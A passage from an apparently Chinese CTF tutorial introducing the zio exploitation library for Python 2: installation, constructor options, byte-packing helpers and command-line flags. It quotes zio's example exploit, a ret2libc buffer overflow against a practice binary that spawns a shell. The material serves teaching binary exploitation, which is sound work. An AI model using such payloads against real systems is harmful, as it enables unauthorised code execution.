2.4.2 zio

    zio 的哲学:

    官方示例:

    1. io = zio('./buggy-server')
    2. # io = zio((pwn.server, 1337))
    3. for i in xrange(1337):
    4. io.writeline('add ' + str(i))
    5. io.read_until('>>')
    6. io.write("add TFpdp1gL4Qu4aVCHUF6AY5Gs7WKCoTYzPv49QSa\ninfo " + "A" * 49 + "\nshow\n")
    7. io.read_until('A' * 49)
    8. libc_system = libc_base + 0x3ea70
    9. libc_binsh = libc_base + 0x15fcbf
    10. payload = 'A' * 64 + l32(libc_system) + 'JJJJ' + l32(libc_binsh)
    11. io.write('info ' + payload + "\nshow\nexit\n")
    12. io.read_until(">>")
    13. # We've got a shell;-)
    14. io.interact()

    需要注意的的是,zio 正在逐步被开发更活跃,功能更完善的 pwntools 取代,但如果你使用的是 32 位 Linux 系统,zio 可能是你唯一的选择。而且在线下赛中,内网环境通常都没有 pwntools 环境,但 zio 是单个文件,上传到内网机器上就可以直接使用。

    zio 仅支持 Linux 和 OSX,并基于 python 2.6, 2.7。

    1. $ sudo pip2 install zio

    由于没有文档,我们通过读源码来学习吧,不到两千行,很轻量,这也意味着你可以根据自己的需求很容易地进行修改。

    总共导出了这些关键字:

    zio 对象的初始化定义:

    1. def __init__(self, target, stdin = PIPE, stdout = TTY_RAW, print_read = RAW, print_write = RAW, timeout = 8, cwd = None, env = None, sighup = signal.SIG_DFL, write_delay = 0.05, ignorecase = False, debug = None):

    通常可以这样:

    1. io = zio(target, timeout=10000, print_read=COLORED(RAW,'red'), print_write=COLORED(RAW,'green'))

    zio 里的 readwrite 对应到 pwntools 里就是 recvsend

    另外是对字符的拆包解包,是对 struct 库的封装:

    1. >>> l32(0xdeedbeaf)
    2. '\xaf\xbe\xed\xde'
    3. >>> l32('\xaf\xbe\xed\xde')
    4. 3740122799
    5. >>> hex(l32('\xaf\xbe\xed\xde'))
    6. '0xdeedbeaf'
    7. >>> hex(b64('ABCDEFGH'))
    8. >>> b64(0x4142434445464748)
    9. 'ABCDEFGH'

    lb 就是指小端序和大端序。这些函数可以对应 pwntools 里的 ,p64()等。

    当然你也可以直接在命令行下使用它:

    1. $ zio -h
    2. usage:
    3. $ zio [options] cmdline | host port
    4. options:
    5. -h, --help help page, you are reading this now!
    6. -i, --stdin tty|pipe, specify tty or pipe stdin, default to tty
    7. -o, --stdout tty|pipe, specify tty or pipe stdout, default to tty
    8. -t, --timeout integer seconds, specify timeout
    9. -r, --read how to print out content read from child process, may be RAW(True), NONE(False), REPR, HEX
    10. -w, --write how to print out content written to child process, may be RAW(True), NONE(False), REPR, HEX
    11. -a, --ahead message to feed into stdin before interact
    12. -b, --before don't do anything before reading those input
    13. -l, --delay write delay, time to wait before write